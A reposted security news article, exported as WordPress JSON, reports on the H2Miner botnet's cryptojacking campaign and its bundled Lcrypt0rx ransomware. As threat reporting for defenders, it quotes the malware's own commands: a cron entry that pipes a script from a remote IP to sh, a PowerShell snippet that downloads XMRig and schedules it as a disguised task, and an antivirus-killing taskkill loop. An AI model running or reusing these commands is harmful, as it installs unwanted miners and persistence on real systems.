{"id":5446,"date":"2025-07-18T10:00:28","date_gmt":"2025-07-18T10:00:28","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/07\/18\/h2miner-attacking-linux-windows-and-containers-to-mine-monero\/"},"modified":"2025-07-18T10:00:28","modified_gmt":"2025-07-18T10:00:28","slug":"h2miner-attacking-linux-windows-and-containers-to-mine-monero","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/07\/18\/h2miner-attacking-linux-windows-and-containers-to-mine-monero\/","title":{"rendered":"H2Miner Attacking Linux, Windows, and Containers to Mine Monero"},"content":{"rendered":"

H2Miner Attacking Linux, Windows, and Containers to Mine Monero
\n \t

\n
<\/BR>
\n
\n \t

\n
<\/BR><\/p>\n

\n

The H2Miner botnet, first observed in late 2019, has resurfaced with an expanded arsenal that blurs the line between cryptojacking and ransomware.<\/p>\n

The latest campaign leverages inexpensive virtual private servers (VPS) and a grab-bag of commodity malware to compromise Linux hosts, Windows workstations, and container workloads simultaneously.<\/p>\n

By chaining cloud-aware shell scripts, cross-compiled binaries, and living-off-the-land commands, the operators pivot quickly from initial foothold to Monero mining\u2014often before defenders notice the spike in CPU load.<\/p>\n

Attacks begin with opportunistic exploitation of misconfigured services or vulnerable applications such as Apache ActiveMQ (CVE-2023-46604) and Log4Shell.<\/p>\n

Once inside, the botnet deploys tailored loader scripts\u2014\u200bce.sh on Linux and 1.ps1 on Windows\u2014\u200bthat terminate competing miners, disable endpoint protection, and fetch the XMRig binary from 78.153.140.66. Containers are not spared: spr.sh scans Docker images and ejects Alibaba Cloud\u2019s aegis agent before dropping Kinsing.<\/p>\n

The same infrastructure hosts a Cobalt Strike team server at 47.97.113.36 and Bitbucket repositories that disguise payloads as \u201cMicrosoftSoftware.exe,\u201d illustrating a mature, multi-tier command-and-control (C2) design.<\/p>\n

Fortinet analysts noted<\/a> that a new VBScript ransomware, Lcrypt0rx, is now bundled alongside the miners.<\/p>\n

\n
\"\"
Encryption logic and XOR implementation (Source \u2013 Fortinet)<\/figcaption><\/figure>\n<\/div>\n

Although its encryption routine is rudimentary\u2014\u200ban 8,192-character XOR key stitched to a per-file salt, \u200bthe script still overwrites the Master Boot Record and litters the system with decoy persistence<\/a> hooks.<\/p>\n

\n
\"\"
Attribute manipulation and MBR overwrite (Source \u2013 Fortinet)<\/figcaption><\/figure>\n<\/div>\n

The overlap of wallets and hosting addresses suggests either collaboration with, or direct control by, H2Miner\u2019s original crew.<\/p>\n

\n
\"\"
Cron entry and clearing command history (Source \u2013 Fortinet)<\/figcaption><\/figure>\n<\/div>\n

This shows that how ce.sh implants a cron job that re-downloads itself every ten minutes:-<\/p>\n

( crontab -l 2>\/dev\/null ; \n  echo \"*\/10 * * * * curl -fsSL http:\/\/80.64.16.241\/ce.sh | sh\" ) | crontab -<\/code><\/pre>\n
Besides this, it highlights the Windows counterpart, where 1.ps1 registers XMRig as a scheduled task:<\/p>\n
$miner  = \"$env:TEMPsysupdate.exe\"\nInvoke-WebRequest -Uri \"http:\/\/78.153.140.66\/xmrig.exe\" -OutFile $miner\nschtasks \/create \/f \/tn \"Update service for Windows Service\" `\n         \/tr \"$miner\" \/sc minute \/mo 15 \/rl highest<\/code><\/pre>\n
Infection Mechanism and Persistence<\/strong><\/h2>\n
H2Miner\u2019s sticking power stems from its layered infection sequence. The initial shell scripts<\/a> enumerate defensive processes, kill them with brutal regular expressions, and wipe audit trails by clearing shell history.<\/p>\n
\n
\"\"
Wallpaper defacement (Source \u2013 Fortinet)<\/figcaption><\/figure>\n<\/div>\n
On Windows, Lcrypt0rx escalates via Shell.Application<\/code> to relaunch itself with wscript.exe \/elevated<\/code>, then attempts to cement persistence by mis-writing its path into the Winlogon Shell and IFEO keys.<\/p>\n
While that registry logic fails, the malware compensates by embedding six auxiliary scripts\u2014\u200bfrom advapi32_ext.vbs<\/code>, which loops through taskkill \/f \/im *av*.exe<\/code>, to USB_bridge.vbs<\/code>, a rudimentary autorun propagator.<\/p>\n
Each helper is dropped with +h +s +r<\/code> attributes and invoked under HKCUSoftwareMicrosoftWindowsCurrentVersionRun<\/code>, ensuring at least one copy survives cleanup.<\/p>\n
This belt-and-suspenders approach, coupled with frequent updater scripts like cpr.sh, lets the botnet respawn miners even after a partial eviction.<\/p>\n
For defenders, that means endpoint remediation must include container images, scheduled tasks, cron entries, and rogue registry keys; otherwise, the Monero<\/a> wallets\u2014\u200bnotably 4ASk4RhU\u2026p8SahC\u2014\u200bwill continue siphoning stolen compute cycles long after the first alert is closed.<\/p>\n
Boost detection, reduce alert fatigue, accelerate response; all with an interactive sandbox built for security teams ->\u00a0Try ANY.RUN Now<\/a><\/strong><\/p>\n
The post H2Miner Attacking Linux, Windows, and Containers to Mine Monero<\/a> appeared first on Cyber Security News<\/a>.<\/p>\n<\/div>\n
 \t

\n 
<\/BR>
\n    Tushar Subhra Dutta
\n \t

\n
<\/BR>
\nGo to cyber-security-news<\/a>
\n \t

\n 
<\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"
H2Miner Attacking Linux, Windows, and Containers to Mine Monero The H2Miner botnet, first observed in late 2019, has resurfaced with an expanded arsenal that blurs the line between cryptojacking and ransomware. The latest campaign leverages inexpensive virtual private servers (VPS) and a grab-bag of commodity malware to compromise Linux hosts, Windows workstations, and container workloads […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[129,63,649],"tags":[130],"class_list":["post-5446","post","type-post","status-publish","format-standard","hentry","category-cyber-security","category-cyber-security-news","category-threats","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/5446"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=5446"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/5446\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=5446"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=5446"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=5446"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}